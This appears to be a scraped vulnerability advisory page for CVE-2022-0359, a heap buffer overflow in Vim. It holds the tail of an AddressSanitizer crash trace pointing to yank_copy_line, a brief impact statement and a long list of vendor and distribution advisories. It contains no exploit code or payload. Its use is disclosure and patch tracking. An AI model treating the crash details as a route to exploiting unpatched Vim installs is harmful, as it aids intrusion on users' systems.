#20 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#21 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#22 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#23 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#24 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#25 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#26 0x7fc84b9c50b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/presler/fuzzing/vim_sanitized/src/register.c:1477:9 in yank_copy_line
Shadow bytes around the buggy address:
0x0c047fff8df0: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8e00: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fff8e10: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fff8e20: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8e30: fa fa fd fd fa fa fd fa fa fa 01 fa fa fa 00 00
=>0x0c047fff8e40: fa fa 01 fa fa[fa]02 fa fa fa 05 fa fa fa fd fa
0x0c047fff8e50: fa fa 02 fa fa fa 02 fa fa fa 00 fa fa fa 02 fa
0x0c047fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8e70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1937==ABORTING
Impact
This vulnerabilities are capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution
References
Related
debiancve
debiancve
CVE-2022-0359
2022-01-26 12:15:08
alpinelinux
alpinelinux
CVE-2022-0359
2022-01-26 12:15:08
veracode
veracode
Denial Of Service (DoS)
2022-02-14 00:30:25
prion
prion
Heap overflow
2022-01-26 12:15:00
cve
cve
CVE-2022-0359
2022-01-26 12:15:08
nessus
nessus
F5 Networks BIG-IP : Vim vulnerability (K08827426)
2022-04-05 00:00:00
EulerOS 2.0 SP5 : vim (EulerOS-SA-2022-1553)
2022-04-25 00:00:00
CentOS 8 : vim (CESA-2022:0894)
2022-03-15 00:00:00
f5
f5
K08827426 : Vim vulnerability CVE-2022-0359
2022-04-04 00:00:00
redhatcve
redhatcve
CVE-2022-0359
2022-01-26 19:43:24
ubuntucve
ubuntucve
CVE-2022-0359
2022-01-26 00:00:00
osv
osv
CVE-2022-0359
2022-01-26 12:15:00
Moderate: vim security update
2022-03-15 09:11:53
Moderate: vim security update
2022-03-15 09:11:53
cbl_mariner
cbl_mariner
CVE-2022-0359 affecting package vim 8.2.4151-1
2022-02-25 01:45:45
CVE-2022-0359 affecting package vim for versions less than 8.2.4233-1
2022-04-09 06:51:50
nvd
nvd
CVE-2022-0359
2022-01-26 12:15:08
cvelist
cvelist
CVE-2022-0359 Heap-based Buffer Overflow in vim/vim
2022-01-26 00:00:00
fedora
fedora
[SECURITY] Fedora 35 Update: vim-8.2.4232-1.fc35
2022-01-30 01:44:14
[SECURITY] Fedora 34 Update: vim-8.2.4232-1.fc34
2022-02-04 01:24:30
openvas
openvas
Huawei EulerOS: Security Advisory for vim (EulerOS-SA-2022-1553)
2022-04-25 00:00:00
Fedora: Security Advisory for vim (FEDORA-2022-f05f9c155b)
2022-01-30 00:00:00
Fedora: Security Advisory for vim (FEDORA-2022-7e9e1ae1fb)
2022-02-04 00:00:00
photon
photon
Important Photon OS Security Update - PHSA-2022-0362
2022-02-07 00:00:00
Important Photon OS Security Update - PHSA-2022-0154
2022-02-07 00:00:00
Important Photon OS Security Update - PHSA-2022-4.0-0154
2022-02-17 00:00:00
cloudlinux
cloudlinux
Fix of CVE: CVE-2022-0351, CVE-2022-0368, CVE-2022-0359, CVE-2022-0361
2022-02-14 16:21:58
redhat
redhat
(RHSA-2022:0894) Moderate: vim security update
2022-03-15 09:11:53
(RHSA-2022:1041) Important: Red Hat OpenShift GitOps security update
2022-03-23 21:13:43
(RHSA-2022:1042) Important: Red Hat OpenShift GitOps security update
2022-03-23 21:22:01
oraclelinux
oraclelinux
vim security update
2022-03-16 00:00:00
almalinux
almalinux
Moderate: vim security update
2022-03-15 09:11:53
rocky
rocky
vim security update
2022-03-15 09:11:53
amazon
amazon
ubuntu
ubuntu
Vim vulnerabilities
2022-06-02 00:00:00
Vim vulnerabilities
2023-04-19 00:00:00
rosalinux
rosalinux
Advisory ROSA-SA-2023-2214
2023-08-15 09:10:06
ibm
ibm
debian
debian
[SECURITY] [DLA 2947-1] vim security update
2022-03-11 22:50:56
[SECURITY] [DLA 3182-1] vim security update
2022-11-08 14:54:53
cloudfoundry
cloudfoundry
USN-6026-1: Vim vulnerabilities | Cloud Foundry
2023-04-24 00:00:00
mageia
mageia
Updated vim packages fix security vulnerability
2022-05-25 21:46:18
apple
apple
About the security content of macOS Monterey 12.6
2022-09-12 00:00:00
About the security content of macOS Ventura 13
2022-10-24 00:00:00
suse
suse
Security update for vim (important)
2022-06-16 00:00:00
gentoo
gentoo
Vim, gVim: Multiple Vulnerabilities
2022-08-21 00:00:00
avleonov
avleonov